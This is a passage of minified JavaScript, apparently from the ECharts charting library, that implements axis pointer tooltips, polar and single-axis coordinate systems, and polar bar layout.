c=t.coordSys.model,l=QN(c),u=e.map[l];u||(u=e.map[l]={coordSysId:c.id,coordSysIndex:c.componentIndex,coordSysType:c.type,coordSysMainType:c.mainType,dataByAxis:[]},e.list.push(u)),u.dataByAxis.push({axisDim:a.dim,axisIndex:o.componentIndex,axisType:o.type,axisId:o.id,value:r,valueLabelOpt:{precision:s.get([`label`,`precision`]),formatter:s.get([`label`,`formatter`])},seriesDataIndices:i.slice()})}}function Mq(e,t,n){var r=n.axesInfo=[];L(t,function(t,n){var i=t.axisPointerModel.option,a=e[n];a?(!t.useHandle&&(i.status=`show`),i.value=a.value,i.seriesDataIndices=(a.payloadBatch||[]).slice()):!t.useHandle&&(i.status=`hide`),i.status===`show`&&r.push({axisDim:t.axis.dim,axisIndex:t.axis.model.componentIndex,value:i.value})})}function Nq(e,t,n,r){if(Lq(t)||!e.list.length){r({type:`hideTip`});return}var i=((e.list[0].dataByAxis[0]||{}).seriesDataIndices||[])[0]||{};r({type:`showTip`,escapeConnect:!0,x:t[0],y:t[1],tooltipOption:n.tooltipOption,position:n.position,dataIndexInside:i.dataIndexInside,dataIndex:i.dataIndex,seriesIndex:i.seriesIndex,dataByCoordSys:e.list})}function Pq(e,t,n){var r=n.getZr(),i=`axisPointerLastHighlights`,a=Eq(r)[i]||{},o=Eq(r)[i]={};L(e,function(e,t){var n=e.axisPointerModel.option;n.status===`show`&&e.triggerEmphasis&&L(n.seriesDataIndices,function(e){var t=e.seriesIndex+` | `+e.dataIndex;o[t]=e})});var s=[],c=[];L(a,function(e,t){!o[t]&&c.push(e)}),L(o,function(e,t){!a[t]&&s.push(e)}),c.length&&n.dispatchAction({type:`downplay`,escapeConnect:!0,notBlur:!0,batch:c}),s.length&&n.dispatchAction({type:`highlight`,escapeConnect:!0,notBlur:!0,batch:s})}function Fq(e,t){for(var n=0;n<(e||[]).length;n++){var r=e[n];if(t.axis.dim===r.axisDim&&t.axis.model.componentIndex===r.axisIndex)return r}}function Iq(e){var t=e.axis.model,n={},r=n.axisDim=e.axis.dim;return n.axisIndex=n[r+`AxisIndex`]=t.componentIndex,n.axisName=n[r+`AxisName`]=t.name,n.axisId=n[r+`AxisId`]=t.id,n}function Lq(e){return!e||e[0]==null||isNaN(e[0])||e[1]==null||isNaN(e[1])}function Rq(e){eP.registerAxisPointerClass(`CartesianAxisPointer`,uq),e.registerComponentModel(mq),e.registerComponentView(wq),e.registerPreprocessor(function(e){if(e){(!e.axisPointer||e.axisPointer.length===0)&&(e.axisPointer={});var t=e.axisPointer.link;t&&!B(t)&&(e.axisPointer.link=[t])}}),e.registerProcessor(e.PRIORITY.PROCESSOR.STATISTIC,function(e,t){e.getComponent(`axisPointer`).coordSysAxesInfo=HN(e,t)}),e.registerAction({type:`updateAxisPointer`,event:`updateAxisPointer`,update:`:updateAxisPointer`},Dq)}function zq(e){bw(dP),bw(Rq)}var Bq=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.makeElOption=function(e,t,n,r,i){var a=n.axis;a.dim===`angle`&&(this.animationThreshold=Math.PI/18);var o=a.polar,s=o.getOtherAxis(a).getExtent(),c=a.dataToCoord(t),l=r.get(`type`);if(l&&l!==`none`){var u=tq(r),d=Hq[l](a,o,c,s);d.style=u,e.graphicKey=d.type,e.pointer=d}nq(e,n,r,i,Vq(t,n,r,o,r.get([`label`,`margin`])))},t}(YK);function Vq(e,t,n,r,i){var a=t.axis,o=a.dataToCoord(e),s=r.getAngleAxis().getExtent()[0];s=s/180*Math.PI;var c=r.getRadiusAxis().getExtent(),l,u,d;if(a.dim===`radius`){var f=Bn();Gn(f,f,s),Wn(f,f,[r.cx,r.cy]),l=lm([o,-i],f);var p=t.getModel(`axisLabel`).get(`rotate`)||0,m=eN.innerTextLayout(s,p*Math.PI/180,-1);u=m.textAlign,d=m.textVerticalAlign}else{var h=c[1];l=r.coordToPoint([h+i,o]);var g=r.cx,_=r.cy;u=Math.abs(l[0]-g)/h<.3?`center`:l[0]>g?`left`:`right`,d=Math.abs(l[1]-_)/h<.3?`middle`:l[1]>_?`top`:`bottom`}return{position:l,align:u,verticalAlign:d}}var Hq={line:function(e,t,n,r){return e.dim===`angle`?{type:`Line`,shape:sq(t.coordToPoint([r[0],n]),t.coordToPoint([r[1],n]))}:{type:`Circle`,shape:{cx:t.cx,cy:t.cy,r:n}}},shadow:function(e,t,n,r){var i=Math.max(1,e.getBandWidth()),a=Math.PI/180;return e.dim===`angle`?{type:`Sector`,shape:lq(t.cx,t.cy,r[0],r[1],(-n-i/2)*a,(-n+i/2)*a)}:{type:`Sector`,shape:lq(t.cx,t.cy,n-i/2,n+i/2,0,Math.PI*2)}}},Uq=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.findAxisModel=function(e){var t;return this.ecModel.eachComponent(e,function(e){e.getCoordSysModel()===this&&(t=e)},this),t},t.type=`polar`,t.dependencies=[`radiusAxis`,`angleAxis`],t.defaultOption={z:0,center:[`50%`,`50%`],radius:`80%`},t}(e_),Wq=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.getCoordSysModel=function(){return this.getReferringComponents(`polar`,uc).models[0]},t.type=`polarAxis`,t}(e_);ot(Wq,FE);var Gq=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`angleAxis`,t}(Wq),Kq=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`radiusAxis`,t}(Wq),qq=function(e){N(t,e);function t(t,n){return e.call(this,`radius`,t,n)||this}return t.prototype.pointToData=function(e,t){return this.polar.pointToData(e,t)[this.dim===`radius`?0:1]},t}(SD);qq.prototype.dataToRadius=SD.prototype.dataToCoord,qq.prototype.radiusToData=SD.prototype.coordToData;var Jq=oc(),Yq=function(e){N(t,e);function t(t,n){return e.call(this,`angle`,t,n||[0,360])||this}return t.prototype.pointToData=function(e,t){return this.polar.pointToData(e,t)[this.dim===`radius`?0:1]},t.prototype.calculateCategoryInterval=function(){var e=this,t=e.getLabelModel(),n=e.scale,r=n.getExtent(),i=n.count();if(r[1]-r[0]<1)return 0;var a=r[0],o=e.dataToCoord(a+1)-e.dataToCoord(a),s=Math.abs(o),c=Co(a==null?``:a+``,t.getFont(),`center`,`top`),l=Math.max(c.height,7)/s;isNaN(l)&&(l=1/0);var u=Math.max(0,Math.floor(l)),d=Jq(e.model),f=d.lastAutoInterval,p=d.lastTickCount;return f!=null&&p!=null&&Math.abs(f-u)<=1&&Math.abs(p-i)<=1&&f>u?u=f:(d.lastTickCount=i,d.lastAutoInterval=u),u},t}(SD);Yq.prototype.dataToAngle=SD.prototype.dataToCoord,Yq.prototype.angleToData=SD.prototype.coordToData;var Xq=[`radius`,`angle`],Zq=function(){function e(e){this.dimensions=Xq,this.type=`polar`,this.cx=0,this.cy=0,this._radiusAxis=new qq,this._angleAxis=new Yq,this.axisPointerEnabled=!0,this.name=e||``,this._radiusAxis.polar=this._angleAxis.polar=this}return e.prototype.containPoint=function(e){var t=this.pointToCoord(e);return this._radiusAxis.contain(t[0])&&this._angleAxis.contain(t[1])},e.prototype.containData=function(e){return this._radiusAxis.containData(e[0])&&this._angleAxis.containData(e[1])},e.prototype.getAxis=function(e){var t=`_`+e+`Axis`;return this[t]},e.prototype.getAxes=function(){return[this._radiusAxis,this._angleAxis]},e.prototype.getAxesByScale=function(e){var t=[],n=this._angleAxis,r=this._radiusAxis;return n.scale.type===e&&t.push(n),r.scale.type===e&&t.push(r),t},e.prototype.getAngleAxis=function(){return this._angleAxis},e.prototype.getRadiusAxis=function(){return this._radiusAxis},e.prototype.getOtherAxis=function(e){var t=this._angleAxis;return e===t?this._radiusAxis:t},e.prototype.getBaseAxis=function(){return this.getAxesByScale(`ordinal`)[0]||this.getAxesByScale(`time`)[0]||this.getAngleAxis()},e.prototype.getTooltipAxes=function(e){var t=e!=null&&e!==`auto`?this.getAxis(e):this.getBaseAxis();return{baseAxes:[t],otherAxes:[this.getOtherAxis(t)]}},e.prototype.dataToPoint=function(e,t,n){return this.coordToPoint([this._radiusAxis.dataToRadius(e[0],t),this._angleAxis.dataToAngle(e[1],t)],n)},e.prototype.pointToData=function(e,t,n){n||=[];var r=this.pointToCoord(e);return n[0]=this._radiusAxis.radiusToData(r[0],t),n[1]=this._angleAxis.angleToData(r[1],t),n},e.prototype.pointToCoord=function(e){var t=e[0]-this.cx,n=e[1]-this.cy,r=this.getAngleAxis(),i=r.getExtent(),a=Math.min(i[0],i[1]),o=Math.max(i[0],i[1]);r.inverse?a=o-360:o=a+360;var s=Math.sqrt(t*t+n*n);t/=s,n/=s;for(var c=Math.atan2(-n,t)/Math.PI*180,l=c<a?1:-1;c<a||c>o;)c+=l*360;return[s,c]},e.prototype.coordToPoint=function(e,t){t||=[];var n=e[0],r=e[1]/180*Math.PI;return t[0]=Math.cos(r)*n+this.cx,t[1]=-Math.sin(r)*n+this.cy,t},e.prototype.getArea=function(){var e=this.getAngleAxis(),t=this.getRadiusAxis().getExtent().slice();t[0]>t[1]&&t.reverse();var n=e.getExtent(),r=Math.PI/180,i=1e-4;return{cx:this.cx,cy:this.cy,r0:t[0],r:t[1],startAngle:-n[0]*r,endAngle:-n[1]*r,clockwise:e.inverse,contain:function(e,t){var n=e-this.cx,r=t-this.cy,a=n*n+r*r,o=this.r,s=this.r0;return o!==s&&a-i<=o*o&&a+i>=s*s},x:this.cx-t[1],y:this.cy-t[1],width:t[1]*2,height:t[1]*2}},e.prototype.convertToPixel=function(e,t,n){return Qq(t)===this?this.dataToPoint(n):null},e.prototype.convertFromPixel=function(e,t,n){return Qq(t)===this?this.pointToData(n):null},e}();function Qq(e){var t=e.seriesModel,n=e.polarModel;return n&&n.coordinateSystem||t&&t.coordinateSystem}function $q(e,t,n){var r=t.get(`center`),i=Kg(t,n).refContainer;e.cx=X(r[0],i.width)+i.x,e.cy=X(r[1],i.height)+i.y;var a=e.getRadiusAxis(),o=Math.min(i.width,i.height)/2,s=t.get(`radius`);s==null?s=[0,`100%`]:B(s)||(s=[0,s]);var c=[X(s[0],o),X(s[1],o)];a.inverse?a.setExtent(c[1],c[0]):a.setExtent(c[0],c[1])}function eJ(e,t){var n=this,r=n.getAngleAxis(),i=n.getRadiusAxis();if(r.scale.setExtent(1/0,-1/0),i.scale.setExtent(1/0,-1/0),e.eachSeries(function(e){if(e.coordinateSystem===n){var t=e.getData();L(kE(t,`radius`),function(e){i.scale.unionExtentFromData(t,e)}),L(kE(t,`angle`),function(e){r.scale.unionExtentFromData(t,e)})}}),SE(r.scale,r.model),SE(i.scale,i.model),r.type===`category`&&!r.onBand){var a=r.getExtent(),o=360/r.scale.count();r.inverse?a[1]+=o:a[1]-=o,r.setExtent(a[0],a[1])}}function tJ(e){return e.mainType===`angleAxis`}function nJ(e,t){if(e.type=t.get(`type`),e.scale=CE(t),e.onBand=t.get(`boundaryGap`)&&e.type===`category`,e.inverse=t.get(`inverse`),tJ(t)){e.inverse=e.inverse!==t.get(`clockwise`);var n=t.get(`startAngle`),r=t.get(`endAngle`)??n+(e.inverse?-360:360);e.setExtent(n,r)}t.axis=e,e.model=t}var rJ={dimensions:Xq,create:function(e,t){var n=[];return e.eachComponent(`polar`,function(e,r){var i=new Zq(r+``);i.update=eJ;var a=i.getRadiusAxis(),o=i.getAngleAxis(),s=e.findAxisModel(`radiusAxis`),c=e.findAxisModel(`angleAxis`);nJ(a,s),nJ(o,c),$q(i,e,t),n.push(i),e.coordinateSystem=i,i.model=e}),e.eachSeries(function(e){e.get(`coordinateSystem`)===`polar`&&(e.coordinateSystem=e.getReferringComponents(`polar`,uc).models[0].coordinateSystem)}),n}},iJ=[`axisLine`,`axisLabel`,`axisTick`,`minorTick`,`splitLine`,`minorSplitLine`,`splitArea`];function aJ(e,t,n){t[1]>t[0]&&(t=t.slice().reverse());var r=e.coordToPoint([t[0],n]),i=e.coordToPoint([t[1],n]);return{x1:r[0],y1:r[1],x2:i[0],y2:i[1]}}function oJ(e){return+!e.getRadiusAxis().inverse}function sJ(e){var t=e[0],n=e[e.length-1];t&&n&&Math.abs(Math.abs(t.coord-n.coord)-360)<1e-4&&e.pop()}var cJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.axisPointerClass=`PolarAxisPointer`,n}return t.prototype.render=function(e,t){if(this.group.removeAll(),e.get(`show`)){var n=e.axis,r=n.polar,i=r.getRadiusAxis().getExtent(),a=n.getTicksCoords({breakTicks:`none`}),o=n.getMinorTicksCoords(),s=R(n.getViewLabels(),function(e){e=P(e);var t=n.scale,r=t.type===`ordinal`?t.getRawOrdinalNumber(e.tickValue):e.tickValue;return e.coord=n.dataToCoord(r),e});sJ(s),sJ(a),L(iJ,function(t){e.get([t,`show`])&&(!n.scale.isBlank()||t===`axisLine`)&&lJ[t](this.group,e,r,a,o,i,s)},this)}},t.type=`angleAxis`,t}(eP),lJ={axisLine:function(e,t,n,r,i,a){var o=t.getModel([`axisLine`,`lineStyle`]),s=n.getAngleAxis(),c=Math.PI/180,l=s.getExtent(),u=oJ(n),d=+!u,f,p=Math.abs(l[1]-l[0])===360?`Circle`:`Arc`;f=a[d]===0?new Gp[p]({shape:{cx:n.cx,cy:n.cy,r:a[u],startAngle:-l[0]*c,endAngle:-l[1]*c,clockwise:s.inverse},style:o.getLineStyle(),z2:1,silent:!0}):new rp({shape:{cx:n.cx,cy:n.cy,r:a[u],r0:a[d]},style:o.getLineStyle(),z2:1,silent:!0}),f.style.fill=null,e.add(f)},axisTick:function(e,t,n,r,i,a){var o=t.getModel(`axisTick`),s=(o.get(`inside`)?-1:1)*o.get(`length`),c=a[oJ(n)],l=R(r,function(e){return new fp({shape:aJ(n,[c,c+s],e.coord)})});e.add(rm(l,{style:I(o.getModel(`lineStyle`).getLineStyle(),{stroke:t.get([`axisLine`,`lineStyle`,`color`])})}))},minorTick:function(e,t,n,r,i,a){if(i.length){for(var o=t.getModel(`axisTick`),s=t.getModel(`minorTick`),c=(o.get(`inside`)?-1:1)*s.get(`length`),l=a[oJ(n)],u=[],d=0;d<i.length;d++)for(var f=0;f<i[d].length;f++)u.push(new fp({shape:aJ(n,[l,l+c],i[d][f].coord)}));e.add(rm(u,{style:I(s.getModel(`lineStyle`).getLineStyle(),I(o.getLineStyle(),{stroke:t.get([`axisLine`,`lineStyle`,`color`])}))}))}},axisLabel:function(e,t,n,r,i,a,o){var s=t.getCategories(!0),c=t.getModel(`axisLabel`),l=c.get(`margin`),u=t.get(`triggerEvent`);L(o,function(r,i){var o=c,d=r.tickValue,f=a[oJ(n)],p=n.coordToPoint([f+l,r.coord]),m=n.cx,h=n.cy,g=Math.abs(p[0]-m)/f<.3?`center`:p[0]>m?`left`:`right`,_=Math.abs(p[1]-h)/f<.3?`middle`:p[1]>h?`top`:`bottom`;if(s&&s[d]){var v=s[d];U(v)&&v.textStyle&&(o=new lh(v.textStyle,c,c.ecModel))}var y=new Hu({silent:eN.isLabelSilent(t),style:Bm(o,{x:p[0],y:p[1],fill:o.getTextColor()||t.get([`axisLine`,`lineStyle`,`color`]),text:r.formattedLabel,align:g,verticalAlign:_})});if(e.add(y),wm({el:y,componentModel:t,itemName:r.formattedLabel,formatterParamsExtra:{isTruncated:function(){return y.isTruncated},value:r.rawLabel,tickIndex:i}}),u){var b=eN.makeAxisEventDataBase(t);b.targetType=`axisLabel`,b.value=r.rawLabel,Z(y).eventData=b}},this)},splitLine:function(e,t,n,r,i,a){var o=t.getModel(`splitLine`).getModel(`lineStyle`),s=o.get(`color`),c=0;s=s instanceof Array?s:[s];for(var l=[],u=0;u<r.length;u++){var d=c++%s.length;l[d]=l[d]||[],l[d].push(new fp({shape:aJ(n,a,r[u].coord)}))}for(var u=0;u<l.length;u++)e.add(rm(l[u],{style:I({stroke:s[u%s.length]},o.getLineStyle()),silent:!0,z:t.get(`z`)}))},minorSplitLine:function(e,t,n,r,i,a){if(i.length){for(var o=t.getModel(`minorSplitLine`).getModel(`lineStyle`),s=[],c=0;c<i.length;c++)for(var l=0;l<i[c].length;l++)s.push(new fp({shape:aJ(n,a,i[c][l].coord)}));e.add(rm(s,{style:o.getLineStyle(),silent:!0,z:t.get(`z`)}))}},splitArea:function(e,t,n,r,i,a){if(r.length){var o=t.getModel(`splitArea`).getModel(`areaStyle`),s=o.get(`color`),c=0;s=s instanceof Array?s:[s];for(var l=[],u=Math.PI/180,d=-r[0].coord*u,f=Math.min(a[0],a[1]),p=Math.max(a[0],a[1]),m=t.get(`clockwise`),h=1,g=r.length;h<=g;h++){var _=h===g?r[0].coord:r[h].coord,v=c++%s.length;l[v]=l[v]||[],l[v].push(new tp({shape:{cx:n.cx,cy:n.cy,r0:f,r:p,startAngle:d,endAngle:-_*u,clockwise:m},silent:!0})),d=-_*u}for(var h=0;h<l.length;h++)e.add(rm(l[h],{style:I({fill:s[h%s.length]},o.getAreaStyle()),silent:!0}))}}},uJ=[`splitLine`,`splitArea`,`minorSplitLine`],dJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.axisPointerClass=`PolarAxisPointer`,n}return t.prototype.render=function(e,t,n){if(this.group.removeAll(),e.get(`show`)){var r=this._axisGroup,i=this._axisGroup=new Y;this.group.add(i);var a=e.axis,o=a.polar,s=o.getAngleAxis(),c=a.getTicksCoords(),l=a.getMinorTicksCoords(),u=s.getExtent()[0],d=a.getExtent(),f=new eN(e,n,pJ(o,e,u));f.build(),i.add(f.group),pm(r,i,e),L(uJ,function(t){e.get([t,`show`])&&!a.scale.isBlank()&&fJ[t](this.group,e,o,u,d,c,l)},this)}},t.type=`radiusAxis`,t}(eP),fJ={splitLine:function(e,t,n,r,i,a){var o=t.getModel(`splitLine`).getModel(`lineStyle`),s=o.get(`color`),c=0,l=n.getAngleAxis(),u=Math.PI/180,d=l.getExtent(),f=Math.abs(d[1]-d[0])===360?`Circle`:`Arc`;s=s instanceof Array?s:[s];for(var p=[],m=0;m<a.length;m++){var h=c++%s.length;p[h]=p[h]||[],p[h].push(new Gp[f]({shape:{cx:n.cx,cy:n.cy,r:Math.max(a[m].coord,0),startAngle:-d[0]*u,endAngle:-d[1]*u,clockwise:l.inverse}}))}for(var m=0;m<p.length;m++)e.add(rm(p[m],{style:I({stroke:s[m%s.length],fill:null},o.getLineStyle()),silent:!0}))},minorSplitLine:function(e,t,n,r,i,a,o){if(o.length){for(var s=t.getModel(`minorSplitLine`).getModel(`lineStyle`),c=[],l=0;l<o.length;l++)for(var u=0;u<o[l].length;u++)c.push(new If({shape:{cx:n.cx,cy:n.cy,r:o[l][u].coord}}));e.add(rm(c,{style:I({fill:null},s.getLineStyle()),silent:!0}))}},splitArea:function(e,t,n,r,i,a){if(a.length){var o=t.getModel(`splitArea`).getModel(`areaStyle`),s=o.get(`color`),c=0;s=s instanceof Array?s:[s];for(var l=[],u=a[0].coord,d=1;d<a.length;d++){var f=c++%s.length;l[f]=l[f]||[],l[f].push(new tp({shape:{cx:n.cx,cy:n.cy,r0:u,r:a[d].coord,startAngle:0,endAngle:Math.PI*2},silent:!0})),u=a[d].coord}for(var d=0;d<l.length;d++)e.add(rm(l[d],{style:I({fill:s[d%s.length]},o.getAreaStyle()),silent:!0}))}}};function pJ(e,t,n){return{position:[e.cx,e.cy],rotation:n/180*Math.PI,labelDirection:-1,tickDirection:-1,nameDirection:1,labelRotate:t.getModel(`axisLabel`).get(`rotate`),z2:1}}function mJ(e){return e.get(`stack`)||`__ec_stack_`+e.seriesIndex}function hJ(e,t){return t.dim+e.model.componentIndex}function gJ(e,t,n){var r={},i=_J(lt(t.getSeriesByType(e),function(e){return!t.isSeriesFiltered(e)&&e.coordinateSystem&&e.coordinateSystem.type===`polar`}));t.eachSeriesByType(e,function(e){if(e.coordinateSystem.type===`polar`){var t=e.getData(),n=e.coordinateSystem,a=n.getBaseAxis(),o=hJ(n,a),s=mJ(e),c=i[o][s],l=c.offset,u=c.width,d=n.getOtherAxis(a),f=e.coordinateSystem.cx,p=e.coordinateSystem.cy,m=e.get(`barMinHeight`)||0,h=e.get(`barMinAngle`)||0;r[s]=r[s]||[];for(var g=t.mapDimension(d.dim),_=t.mapDimension(a.dim),v=cT(t,g),y=a.dim!==`radius`||!e.get(`roundCap`,!0),b=d.model.get(`startValue`),x=d.dataToCoord(b||0),S=0,C=t.count();S<C;S++){var w=t.get(g,S),T=t.get(_,S),E=w>=0?`p`:`n`,D=x;v&&(r[s][T]||(r[s][T]={p:x,n:x}),D=r[s][T][E]);var O=void 0,k=void 0,A=void 0,j=void 0;if(d.dim===`radius`){var ee=d.dataToCoord(w)-x,te=a.dataToCoord(T);Math.abs(ee)<m&&(ee=(ee<0?-1:1)*m),O=D,k=D+ee,A=te-l,j=A-u,v&&(r[s][T][E]=k)}else{var M=d.dataToCoord(w,y)-x,ne=a.dataToCoord(T);Math.abs(M)<h&&(M=(M<0?-1:1)*h),O=ne+l,k=O+u,A=D,j=D+M,v&&(r[s][T][E]=j)}t.setItemLayout(S,{cx:f,cy:p,r0:O,r:k,startAngle:-A*Math.PI/180,endAngle:-j*Math.PI/180,clockwise:A>=j})}}})}function _J(e){var t={};L(e,function(e,n){var r=e.getData(),i=e.coordinateSystem,a=i.getBaseAxis(),o=hJ(i,a),s=a.getExtent(),c=a.type===`category`?a.getBandWidth():Math.abs(s[1]-s[0])/r.count(),l=t[o]||{bandWidth:c,remainedWidth:c,autoWidthCount:0,categoryGap:`20%`,gap:`30%`,stacks:{}},u=l.stacks;t[o]=l;var d=mJ(e);u[d]||l.autoWidthCount++,u[d]=u[d]||{width:0,maxWidth:0};var f=X(e.get(`barWidth`),c),p=X(e.get(`barMaxWidth`),c),m=e.get(`barGap`),h=e.get(`barCategoryGap`);f&&!u[d].width&&(f=Math.min(l.remainedWidth,f),u[d].width=f,l.remainedWidth-=f),p&&(u[d].maxWidth=p),m!=null&&(l.gap=m),h!=null&&(l.categoryGap=h)});var n={};return L(t,function(e,t){n[t]={};var r=e.stacks,i=e.bandWidth,a=X(e.categoryGap,i),o=X(e.gap,1),s=e.remainedWidth,c=e.autoWidthCount,l=(s-a)/(c+(c-1)*o);l=Math.max(l,0),L(r,function(e,t){var n=e.maxWidth;n&&n<l&&(n=Math.min(n,s),e.width&&(n=Math.min(n,e.width)),s-=n,e.width=n,c--)}),l=(s-a)/(c+(c-1)*o),l=Math.max(l,0);var u=0,d;L(r,function(e,t){e.width||=l,d=e,u+=e.width*(1+o)}),d&&(u-=d.width*o);var f=-u/2;L(r,function(e,r){n[t][r]=n[t][r]||{offset:f,width:e.width},f+=e.width*(1+o)})}),n}var vJ={startAngle:90,clockwise:!0,splitNumber:12,axisLabel:{rotate:0}},yJ={splitNumber:5},bJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`polar`,t}(Eb);function xJ(e){bw(Rq),eP.registerAxisPointerClass(`PolarAxisPointer`,Bq),e.registerCoordinateSystem(`polar`,rJ),e.registerComponentModel(Uq),e.registerComponentView(bJ),EM(e,`angle`,Gq,vJ),EM(e,`radius`,Kq,yJ),e.registerComponentView(cJ),e.registerComponentView(dJ),e.registerLayout(pt(gJ,`bar`))}function SJ(e,t){t||={};var n=e.coordinateSystem,r=e.axis,i={},a=r.position,o=r.orient,s=n.getRect(),c=[s.x,s.x+s.width,s.y,s.y+s.height],l={horizontal:{top:c[2],bottom:c[3]},vertical:{left:c[0],right:c[1]}};i.position=[o===`vertical`?l.vertical[a]:c[0],o===`horizontal`?l.horizontal[a]:c[3]],i.rotation=Math.PI/2*{horizontal:0,vertical:1}[o],i.labelDirection=i.tickDirection=i.nameDirection={top:-1,bottom:1,right:1,left:-1}[a],e.get([`axisTick`,`inside`])&&(i.tickDirection=-i.tickDirection),Ct(t.labelInside,e.get([`axisLabel`,`inside`]))&&(i.labelDirection=-i.labelDirection);var u=e.get([`axisLabel`,`rotate`]);return i.labelRotate=a===`top`?-u:u,i.z2=1,i}var CJ=[`splitArea`,`splitLine`,`breakArea`],wJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.axisPointerClass=`SingleAxisPointer`,n}return t.prototype.render=function(t,n,r,i){var a=this.group;a.removeAll();var o=this._axisGroup;this._axisGroup=new Y;var s=new eN(t,r,SJ(t));s.build(),a.add(this._axisGroup),a.add(s.group),L(CJ,function(e){t.get([e,`show`])&&TJ[e](this,this.group,this._axisGroup,t,r)},this),pm(o,this._axisGroup,t),e.prototype.render.call(this,t,n,r,i)},t.prototype.remove=function(){rP(this)},t.type=`singleAxis`,t}(eP),TJ={splitLine:function(e,t,n,r,i){var a=r.axis;if(!a.scale.isBlank()){var o=r.getModel(`splitLine`),s=o.getModel(`lineStyle`),c=s.get(`color`);c=c instanceof Array?c:[c];for(var l=s.get(`width`),u=r.coordinateSystem.getRect(),d=a.isHorizontal(),f=[],p=0,m=a.getTicksCoords({tickModel:o,breakTicks:`none`,pruneByBreak:`preserve_extent_bound`}),h=[],g=[],_=0;_<m.length;++_){var v=a.toGlobalCoord(m[_].coord);d?(h[0]=v,h[1]=u.y,g[0]=v,g[1]=u.y+u.height):(h[0]=u.x,h[1]=v,g[0]=u.x+u.width,g[1]=v);var y=new fp({shape:{x1:h[0],y1:h[1],x2:g[0],y2:g[1]},silent:!0});am(y.shape,l);var b=p++%c.length;f[b]=f[b]||[],f[b].push(y)}for(var x=s.getLineStyle([`color`]),_=0;_<f.length;++_)t.add(rm(f[_],{style:I({stroke:c[_%c.length]},x),silent:!0}))}},splitArea:function(e,t,n,r,i){nP(e,n,r,r)},breakArea:function(e,t,n,r,i){var a=TM(),o=r.axis.scale;a&&o.type!==`ordinal`&&a.rectCoordBuildBreakAxis(t,e,r,r.coordinateSystem.getRect(),i)}},EJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.getCoordSysModel=function(){return this},t.type=`singleAxis`,t.layoutMode=`box`,t.defaultOption={left:`5%`,top:`5%`,right:`5%`,bottom:`5%`,type:`value`,position:`bottom`,orient:`horizontal`,axisLine:{show:!0,lineStyle:{width:1,type:`solid`}},tooltip:{show:!0},axisTick:{show:!0,length:6,lineStyle:{width:1}},axisLabel:{show:!0,interval:`auto`},splitLine:{show:!0,lineStyle:{type:`dashed`,opacity:.2}},jitter:0,jitterOverlap:!0,jitterMargin:2},t}(e_);ot(EJ,FE.prototype);var DJ=function(e){N(t,e);function t(t,n,r,i,a){var o=e.call(this,t,n,r)||this;return o.type=i||`value`,o.position=a||`bottom`,o}return t.prototype.isHorizontal=function(){var e=this.position;return e===`top`||e===`bottom`},t.prototype.pointToData=function(e,t){return this.coordinateSystem.pointToData(e)[0]},t}(SD),OJ=[`single`],kJ=function(){function e(e,t,n){this.type=`single`,this.dimension=`single`,this.dimensions=OJ,this.axisPointerEnabled=!0,this.model=e,this._init(e,t,n)}return e.prototype._init=function(e,t,n){var r=this.dimension,i=new DJ(r,CE(e),[0,0],e.get(`type`),e.get(`position`));i.onBand=i.type===`category`&&e.get(`boundaryGap`),i.inverse=e.get(`inverse`),i.orient=e.get(`orient`),e.axis=i,i.model=e,i.coordinateSystem=this,this._axis=i},e.prototype.update=function(e,t){e.eachSeries(function(e){if(e.coordinateSystem===this){var t=e.getData();L(t.mapDimensionsAll(this.dimension),function(e){this._axis.scale.unionExtentFromData(t,e)},this),SE(this._axis.scale,this._axis.model)}},this)},e.prototype.resize=function(e,t){var n=Kg(e,t).refContainer;this._rect=Ug(e.getBoxLayoutParams(),n),this._adjustAxis()},e.prototype.getRect=function(){return this._rect},e.prototype._adjustAxis=function(){var e=this._rect,t=this._axis,n=t.isHorizontal(),r=n?[0,e.width]:[0,e.height],i=+!!t.inverse;t.setExtent(r[i],r[1-i]),this._updateAxisTransform(t,n?e.x:e.y)},e.prototype._updateAxisTransform=function(e,t){var n=e.getExtent(),r=n[0]+n[1],i=e.isHorizontal();e.toGlobalCoord=i?function(e){return e+t}:function(e){return r-e+t},e.toLocalCoord=i?function(e){return e-t}:function(e){return r-e+t}},e.prototype.getAxis=function(){return this._axis},e.prototype.getBaseAxis=function(){return this._axis},e.prototype.getAxes=function(){return[this._axis]},e.prototype.getTooltipAxes=function(){return{baseAxes:[this.getAxis()],otherAxes:[]}},e.prototype.containPoint=function(e){var t=this.getRect(),n=this.getAxis();return n.orient===`horizontal`?n.contain(n.toLocalCoord(e[0]))&&e[1]>=t.y&&e[1]<=t.y+t.height:n.contain(n.toLocalCoord(e[1]))&&e[0]>=t.y&&e[0]<=t.y+t.height},e.prototype.pointToData=function(e,t,n){n||=[];var r=this.getAxis();return n[0]=r.coordToData(r.toLocalCoord(e[r.orient===`horizontal`?0:1])),n},e.prototype.dataToPoint=function(e,t,n){var r=this.getAxis(),i=this.getRect();n||=[];var a=r.orient===`horizontal`?0:1;return e instanceof Array&&(e=e[0]),n[a]=r.toGlobalCoord(r.dataToCoord(+e)),n[1-a]=a===0?i.y+i.height/2:i.x+i.width/2,n},e.prototype.convertToPixel=function(e,t,n){return AJ(t)===this?this.dataToPoint(n):null},e.prototype.convertFromPixel=function(e,t,n){return AJ(t)===this?this.pointToData(n):null},e}();function AJ(e){var t=e.seriesModel,n=e.singleAxisModel;return n&&n.coordinateSystem||t&&t.coordinateSystem}function jJ(e,t){var n=[];return e.eachComponent(`singleAxis`,function(r,i){var a=new kJ(r,e,t);a.name=`single_`+i,a.resize(r,t),r.coordinateSystem=a,n.push(a)}),e.eachSeries(function(e){if(e.get(`coordinateSystem`)===`singleAxis`){var 